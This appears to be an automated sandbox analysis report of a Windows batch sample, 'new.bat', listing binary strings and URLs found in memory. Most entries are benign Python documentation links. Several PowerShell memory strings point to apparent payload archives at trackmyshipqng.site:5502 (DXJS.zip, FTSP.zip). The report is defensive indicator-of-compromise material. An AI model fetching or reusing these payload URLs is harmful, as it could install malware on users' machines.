Windows Analysis Report
new.bat

AV Detection

Source: Submited Sample

Integrated Neural Analysis Model: Matched 87.9% probability

Compliance

Source:	Binary string: <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> script file.</p></li> source: 3.2.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.run">(pdb.Pdb method)</a> source: genindex-R.html.16.dr
Source:	Binary string: <li><p>The <a class="reference internal" href="../library/pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">Pdb</span></code></a> class constructor now accepts a <em>nosigint</em> argument.</p></li> source: 3.2.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.set_trace">(pdb.Pdb method)</a> source: genindex-S.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runeval">(pdb.Pdb method)</a> source: genindex-R.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runcall">(pdb.Pdb method)</a> source: genindex-R.html.16.dr
Source:	Binary string: <li><p>A <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> script file can contain <code class="docutils literal notranslate"><span class="pre">continue</span></code> and <code class="docutils literal notranslate"><span class="pre">next</span></code> commands source: 3.2.html.16.dr

Networking

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A0.6.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: test_warning.py.16.dr	String found in binary or memory: http://bugs.python.org/issue18081).
Source: test_warning.py.16.dr	String found in binary or memory: http://bugs.python.org/issue18318).
Source: codecs.py.16.dr	String found in binary or memory: http://bugs.python.org/issue19619
Source: _pydecimal.py.16.dr	String found in binary or memory: http://bugs.python.org/issue6857.
Source: 2.3.html.16.dr	String found in binary or memory: http://catb.org/~esr/trove/
Source: svchost.exe, 00000007.00000002.2679153943.000001FB4B800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: transports.cpython-312.pyc.16.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: transports.cpython-312.pyc.16.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: transports.cpython-312.pyc.16.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: svchost.exe, 00000007.00000003.1471535168.000001FB4B670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2.2.html.16.dr	String found in binary or memory: http://freshmeat.net/releases/52719/'
Source: heuristics.cpython-312.pyc.16.dr	String found in binary or memory: http://lxr.mozilla.org/mozilla-release/source/netwerk/protocol/http/nsHttpResponseHead.cpp#397
Source: sslproto.py.16.dr	String found in binary or memory: http://magic.io
Source: ceval.h.16.dr	String found in binary or memory: http://mail.python.org/pipermail/python-dev/2008-August/082106.html
Source: powershell.exe, 00000005.00000002.2078895850.0000028A11544000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2078895850.0000028A11687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2036650641.0000028A016F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2036650641.0000028A014D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: _pydecimal.py.16.dr, 2.4.html.16.dr	String found in binary or memory: http://speleotrove.com/decimal/
Source: _pydecimal.py.16.dr	String found in binary or memory: http://speleotrove.com/decimal/decarith.html
Source: fetch_macholib.16.dr	String found in binary or memory: http://svn.red-bean.com/bob/macholib/trunk/macholib/
Source: heuristics.cpython-312.pyc.16.dr	String found in binary or memory: http://tools.ietf.org/html/rfc7234#section-4.2.2
Source: heuristics.cpython-312.pyc.16.dr	String found in binary or memory: http://tools.ietf.org/html/rfc7234#section-5.5.4
Source: powershell.exe, 00000005.00000002.2036650641.0000028A016F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502
Source: powershell.exe, 00000005.00000002.2085360779.0000028A7F5B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502/DXJS.zip
Source: powershell.exe, 00000005.00000002.2084105027.0000028A7EEA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2085360779.0000028A7F5B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502/FTSP.zip
Source: powershell.exe, 00000005.00000002.2085243333.0000028A7F0B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2085243333.0000028A7F0B4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2083071820.0000028A1985C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2085360779.0000028A7F5B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502/FTSP.zipHOMEDRIVE=C:HOMEPATH=
Source: powershell.exe, 00000005.00000002.2084105027.0000028A7EEA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502/FTSP.zip~
Source: powershell.exe, 00000005.00000002.2085243333.0000028A7F0B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502/dxjs.zip
Source: powershell.exe, 00000005.00000002.2036650641.0000028A016F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 2.3.html.16.dr	String found in binary or memory: http://www.atheos.cx/
Source: _pydatetime.py.16.dr	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: _pydatetime.py.16.dr	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: 2.2.html.16.dr	String found in binary or memory: http://www.oreillynet.com/meerkat/xml-rpc/server.php'
Source: 2.3.html.16.dr	String found in binary or memory: http://www.phyast.pitt.edu/~micheles/mro.html
Source: _pydatetime.py.16.dr	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: _markupbase.py.16.dr	String found in binary or memory: http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf
Source: library.html.16.dr	String found in binary or memory: http://www.some-server.out-there'
Source: zlib.html.16.dr	String found in binary or memory: http://www.zlib.net
Source: zlib.html.16.dr	String found in binary or memory: http://www.zlib.net/manual.html
Source: 2.2.html.16.dr	String found in binary or memory: http://xmlrpc.scripting.com/
Source: powershell.exe, 00000005.00000002.2036650641.0000028A014D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: mac.html.16.dr	String found in binary or memory: https://aquamacs.org
Source: argparse.html.16.dr	String found in binary or memory: https://babel.pocoo.org/
Source: mac.html.16.dr	String found in binary or memory: https://beeware.org
Source: interactive.html.16.dr	String found in binary or memory: https://bpython-interpreter.org/
Source: mac.html.16.dr	String found in binary or memory: https://briefcase.readthedocs.io
Source: selector_events.py.16.dr	String found in binary or memory: https://bugs.python.org/issue27906
Source: dataclasses.py.16.dr	String found in binary or memory: https://bugs.python.org/issue32929#msg312829
Source: dataclasses.py.16.dr	String found in binary or memory: https://bugs.python.org/issue33453
Source: typeobj.html.16.dr	String found in binary or memory: https://bugs.python.org/issue40217
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10093
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10321
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10518
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10554
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10586
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10593
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10827
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10889
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1286
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1289118
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1537721
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1580
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1655
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1664
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1675951
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1696199
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1739468
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1772833
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1777412
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1818
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=2531
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=2690
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=2706
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=2846
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=2983
Source: intro.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33720
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=3439
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=3445
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=3488
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4136
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4195
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4201
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4258
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4285
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4384
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4617
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4661
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4688
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4707
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4739
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4753
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=477863
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4868
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4910
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4972
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5084
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5094
Source: 3.1.html.16.dr, 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5150
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5175
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5228
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5237
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5506
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5630
Source: 3.1.html.16.dr, 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5675
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5867
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5914
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5975
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=6081
Source: 3.1.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=6137
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=6472
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=6641
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=6856
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=7094
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=7301
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=7418
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=7461
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=7471
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=7610
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8013
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8046
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8188
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8257
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8294
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8413
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8540
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8777
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8806
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8814
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9110
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9213
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9337
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9425
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9567
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9666
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9757
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9826
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9840
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9862
Source: 3.2.html.16.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9962
Source: _pydatetime.py.16.dr	String found in binary or memory: https://bugs.python.org/msg352381
Source: 2.3.html.16.dr	String found in binary or memory: https://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.19.3910
Source: 3.2.html.16.dr	String found in binary or memory: https://code.activestate.com/recipes/498245/
Source: 3.2.html.16.dr	String found in binary or memory: https://code.activestate.com/recipes/577479/
Source: library.html.16.dr	String found in binary or memory: https://code.google.com/archive/p/python-safethread
Source: 3.1.html.16.dr, 3.2.html.16.dr	String found in binary or memory: https://codereview.appspot.com/53094
Source: powershell.exe, 00000005.00000002.2078895850.0000028A11687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2078895850.0000028A11687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2078895850.0000028A11687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: tkinter.ttk.html.16.dr	String found in binary or memory: https://core.tcl.tk/tips/doc/trunk/tip/48.md
Source: trace.html.16.dr	String found in binary or memory: https://coverage.readthedocs.io/
Source: design.html.16.dr	String found in binary or memory: https://cython.org/
Source: 3.2.html.16.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2047.html
Source: 2.2.html.16.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2104.html
Source: 2.2.html.16.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2342.html
Source: 2.2.html.16.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2487.html
Source: 3.2.html.16.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2616.html
Source: 2.2.html.16.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2822.html
Source: uuid.html.16.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc4122.html
Source: 2.2.html.16.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc822.html
Source: mac.html.16.dr	String found in binary or memory: https://developer.apple.com/documentation/macos-release-notes/macos-12_3-release-notes#Python
Source: mac.html.16.dr	String found in binary or memory: https://developer.apple.com/library/archive/qa/qa1067/_index.html
Source: heuristics.cpython-312.pyc.16.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching_FAQ
Source: stable.html.16.dr	String found in binary or memory: https://discuss.python.org/c/core-dev/c-api/30
Source: 2.2.html.16.dr	String found in binary or memory: https://docs.python.org/2.2/lib/lib.html
Source: 2.2.html.16.dr	String found in binary or memory: https://docs.python.org/2.2/ref/ref.html
Source: type.html.16.dr, stable.html.16.dr, tty.html.16.dr, zipfile.html.16.dr, index.html7.16.dr, capsule.html.16.dr, xml.sax.utils.html.16.dr, isolating-extensions.html.16.dr, editors.html.16.dr, unittest.mock.html.16.dr, list.html.16.dr, errors.html.16.dr, set.html.16.dr, long.html.16.dr, xmlrpc.server.html.16.dr, zipapp.html.16.dr, exceptions.html.16.dr, wave.html.16.dr, apiabiversion.html.16.dr, library.html.16.dr, utilities.html.16.dr	String found in binary or memory: https://docs.python.org/3/_static/og-image.png
Source: apiabiversion.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/apiabiversion.html
Source: bytearray.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/bytearray.html
Source: capsule.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/capsule.html
Source: complex.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/complex.html
Source: exceptions.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/exceptions.html
Source: function.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/function.html
Source: gen.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/gen.html
Source: hash.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/hash.html
Source: index.html1.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/index.html
Source: init_config.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/init_config.html
Source: intro.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/intro.html
Source: list.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/list.html
Source: long.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/long.html
Source: mapping.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/mapping.html
Source: memoryview.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/memoryview.html
Source: method.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/method.html
Source: module.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/module.html
Source: sequence.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/sequence.html
Source: set.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/set.html
Source: stable.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/stable.html
Source: tuple.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/tuple.html
Source: type.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/type.html
Source: typehints.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/typehints.html
Source: typeobj.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/typeobj.html
Source: utilities.html.16.dr	String found in binary or memory: https://docs.python.org/3/c-api/utilities.html
Source: building.html.16.dr	String found in binary or memory: https://docs.python.org/3/extending/building.html
Source: newtypes.html.16.dr	String found in binary or memory: https://docs.python.org/3/extending/newtypes.html
Source: design.html.16.dr	String found in binary or memory: https://docs.python.org/3/faq/design.html
Source: library.html.16.dr	String found in binary or memory: https://docs.python.org/3/faq/library.html
Source: genindex-E.html.16.dr	String found in binary or memory: https://docs.python.org/3/genindex-E.html
Source: genindex-N.html.16.dr	String found in binary or memory: https://docs.python.org/3/genindex-N.html
Source: genindex-R.html.16.dr	String found in binary or memory: https://docs.python.org/3/genindex-R.html
Source: genindex-S.html.16.dr	String found in binary or memory: https://docs.python.org/3/genindex-S.html
Source: genindex-Y.html.16.dr	String found in binary or memory: https://docs.python.org/3/genindex-Y.html
Source: genindex.html.16.dr	String found in binary or memory: https://docs.python.org/3/genindex.html
Source: glossary.html.16.dr	String found in binary or memory: https://docs.python.org/3/glossary.html
Source: argparse.html.16.dr	String found in binary or memory: https://docs.python.org/3/howto/argparse.html
Source: index.html7.16.dr	String found in binary or memory: https://docs.python.org/3/howto/index.html
Source: instrumentation.html.16.dr	String found in binary or memory: https://docs.python.org/3/howto/instrumentation.html
Source: isolating-extensions.html.16.dr	String found in binary or memory: https://docs.python.org/3/howto/isolating-extensions.html
Source: scheme.cpython-312.pyc.16.dr	String found in binary or memory: https://docs.python.org/3/install/index.html#alternate-installation.
Source: run.py.16.dr, pyshell.py.16.dr	String found in binary or memory: https://docs.python.org/3/library/idle.html#startup-failure
Source: core.cpython-312.pyc.16.dr	String found in binary or memory: https://docs.python.org/3/library/re.html
Source: core.cpython-312.pyc.16.dr	String found in binary or memory: https://docs.python.org/3/library/re.html#re.sub
Source: tkinter.colorchooser.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/tkinter.colorchooser.html
Source: tkinter.ttk.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/tkinter.ttk.html
Source: tokenize.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/tokenize.html
Source: trace.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/trace.html
Source: tty.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/tty.html
Source: unittest.mock.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/unittest.mock.html
Source: uuid.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/uuid.html
Source: warnings.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/warnings.html
Source: wave.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/wave.html
Source: weakref.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/weakref.html
Source: windows.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/windows.html
Source: winreg.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/winreg.html
Source: winsound.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/winsound.html
Source: xml.sax.utils.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/xml.sax.utils.html
Source: xmlrpc.server.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/xmlrpc.server.html
Source: zipapp.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/zipapp.html
Source: zipfile.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/zipfile.html
Source: zlib.html.16.dr	String found in binary or memory: https://docs.python.org/3/library/zlib.html
Source: expressions.html.16.dr	String found in binary or memory: https://docs.python.org/3/reference/expressions.html
Source: classes.html.16.dr	String found in binary or memory: https://docs.python.org/3/tutorial/classes.html
Source: errors.html.16.dr	String found in binary or memory: https://docs.python.org/3/tutorial/errors.html
Source: interactive.html.16.dr	String found in binary or memory: https://docs.python.org/3/tutorial/interactive.html
Source: introduction.html0.16.dr	String found in binary or memory: https://docs.python.org/3/tutorial/introduction.html
Source: editors.html.16.dr	String found in binary or memory: https://docs.python.org/3/using/editors.html
Source: mac.html.16.dr	String found in binary or memory: https://docs.python.org/3/using/mac.html
Source: 2.2.html.16.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/2.2.html
Source: 2.3.html.16.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/2.3.html
Source: 3.1.html.16.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/3.1.html
Source: 3.2.html.16.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/3.2.html
Source: library.html.16.dr	String found in binary or memory: https://epydoc.sourceforge.net/
Source: unix.cpython-312.pyc.16.dr	String found in binary or memory: https://freedesktop.org/wiki/Software/xdg-user-dirs/.z
Source: svchost.exe, 00000007.00000003.1471535168.000001FB4B6A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000007.00000003.1471535168.000001FB4B670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: sslproto.py.16.dr	String found in binary or memory: https://git.io/fj59P):
Source: sslproto.py.16.dr	String found in binary or memory: https://github.com/MagicStack/uvloop/tree/v0.16.0
Source: powershell.exe, 00000005.00000002.2036650641.0000028A016F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: __init__.py28.16.dr	String found in binary or memory: https://github.com/kennethreitz/requests/pull/2567.
Source: __init__.py0.16.dr	String found in binary or memory: https://github.com/platformdirs/platformdirs
Source: cache.py.16.dr, cache.cpython-312.pyc.16.dr	String found in binary or memory: https://github.com/psf/cachecontrol/issues/324).
Source: deprecation.py.16.dr	String found in binary or memory: https://github.com/pypa/pip/issues/
Source: installation_report.py.16.dr	String found in binary or memory: https://github.com/pypa/pip/issues/11198
Source: wheel.py.16.dr	String found in binary or memory: https://github.com/pypa/pip/issues/1150)
Source: prepare.py.16.dr	String found in binary or memory: https://github.com/pypa/pip/issues/11943
Source: newtypes.html.16.dr	String found in binary or memory: https://github.com/python/cpython
Source: 3.2.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/076ca6c3c8df3030307e548d9be792ce3c1c6eea/Misc/NEWS
Source: apiabiversion.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/apiabiversion.rst
Source: bytearray.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/bytearray.rst
Source: capsule.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/capsule.rst
Source: complex.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/complex.rst
Source: exceptions.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/exceptions.rst
Source: function.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/function.rst
Source: gen.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/gen.rst
Source: hash.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/hash.rst
Source: index.html1.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/index.rst
Source: init_config.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/init_config.rst
Source: intro.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/intro.rst
Source: list.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/list.rst
Source: long.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/long.rst
Source: mapping.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/mapping.rst
Source: memoryview.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/memoryview.rst
Source: method.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/method.rst
